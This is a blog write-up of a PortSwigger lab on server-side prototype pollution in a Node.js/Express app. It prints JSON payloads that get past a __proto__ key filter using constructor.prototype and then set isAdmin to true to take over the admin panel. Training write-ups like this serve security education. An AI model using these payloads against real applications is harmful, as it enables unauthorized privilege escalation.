Siunam's Website

My personal website

Home About Blog Writeups Projects E-Portfolio

Bypassing flawed input filters for server-side prototype pollution | Feb 22, 2023

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Bypassing flawed input filters for server-side prototype pollution! Without further ado, let’s dive in.

Background

This lab is built on Node.js and the Express framework. It is vulnerable to server-side prototype pollution because it unsafely merges user-controllable input into a server-side JavaScript object.

To solve the lab:

  1. Find a prototype pollution source that you can use to add arbitrary properties to the global Object.prototype.
  2. Identify a gadget property that you can use to escalate your privileges.
  3. Access the admin panel and delete the user carlos.

You can log in to your own account with the following credentials: wiener:peter

Note:

When testing for server-side prototype pollution, it’s possible to break application functionality or even bring down the server completely. If this happens to your lab, you can manually restart the server using the button provided in the lab banner. Remember that you’re unlikely to have this option when testing real websites, so you should always use caution.

Exploitation

Home page:

Login as user wiener:

In here, we can update our billing and delivery address.

Let’s try to update it:

Burp Suite HTTP history:

When we clicked the “Submit” button, it’ll send a POST request to /my-account/change-address, with parameter address_line_1, address_line_2, city, postcode, country, sessionId.

If there’s no error, the response will return a JSON data:

{
    "username": "wiener",
    "firstname": "Peter",
    "lastname": "Wiener",
    "address_line_1": "Wiener HQ",
    "address_line_2": "One Wiener Way",
    "city": "Wienerville",
    "postcode": "BU1 1RP",
    "country": "UK",
    "isAdmin": false
}

Find a prototype pollution source that you can use to add arbitrary properties to the global Object.prototype

Now, we can try to add arbitrary properties to the global Object.prototype via prototype pollution:

{
    "address_line_1": "Wiener HQ",
    "address_line_2": "One Wiener Way",
    "city": "Wienerville",
    "postcode": "BU1 1RP",
    "country": "UK",
    "sessionId": "9zO14DRBcrJYKDNyCiBtv9R7Gkf04LMO",
    "__proto__": {
        "json spaces": 1
    }
}

However, it seems like we didn’t polluted an arbitrary property?

Now, websites often attempt to prevent or patch prototype pollution vulnerabilities by filtering suspicious keys like __proto__. This key sanitization approach is not a robust long-term solution as there are a number of ways it can potentially be bypassed. For example, an attacker can:

Node applications can also delete or disable __proto__ altogether using the command-line flags --disable-proto=delete or --disable-proto=throw respectively. However, this can also be bypassed by using the constructor technique.

Armed with above information, we can try to pollute the global Object.prototype to add arbitrary properties by obfuscating the __proto__ keyword:

{
    "address_line_1": "Wiener HQ",
    "address_line_2": "One Wiener Way",
    "city": "Wienerville",
    "postcode": "BU1 1RP",
    "country": "UK",
    "sessionId": "9zO14DRBcrJYKDNyCiBtv9R7Gkf04LMO",
    "__pro__proto__to__": {
        "foo": "bar"
    }
}

Still nope.

Maybe the web application delete or disable __proto__

However, we can still bypass that via constructor.

In client-side prototype pollution, we can use the folllowing constructor to pollute the global Object.prototype to add arbitrary properties:

myObject.constructor.prototype

We can also do that in server-side one:

{
    "address_line_1": "Wiener HQ",
    "address_line_2": "One Wiener Way",
    "city": "Wienerville",
    "postcode": "BU1 1RP",
    "country": "UK",
    "sessionId": "9zO14DRBcrJYKDNyCiBtv9R7Gkf04LMO",
    "constructor": {
        "prototype": {
            "json spaces": 1
        }
    }
}

Nice! We’ve successfully identify that the web application is indeed vulnerable to server-side prototype pollution!

Identify a gadget property that you can use to escalate your privileges

In the response result, we see this:

{
    "username": "wiener",
    "firstname": "Peter",
    "lastname": "Wiener",
    "address_line_1": "Wiener HQ",
    "address_line_2": "One Wiener Way",
    "city": "Wienerville",
    "postcode": "BU1 1RP",
    "country": "UK",
    "isAdmin": false
}

The isAdmin property is very interesting to us!

What if we can leverage server-side prototype pollution to set that property’s value to true?

{
    "address_line_1": "Wiener HQ",
    "address_line_2": "One Wiener Way",
    "city": "Wienerville",
    "postcode": "BU1 1RP",
    "country": "UK",
    "sessionId": "9zO14DRBcrJYKDNyCiBtv9R7Gkf04LMO",
    "constructor": {
        "prototype": {
            "isAdmin": true
        }
    }
}

Nice! We now became an administrator!

Let’s go to the admin panel and delete user carlos!

What we’ve learned:

  1. Bypassing flawed input filters for server-side prototype pollution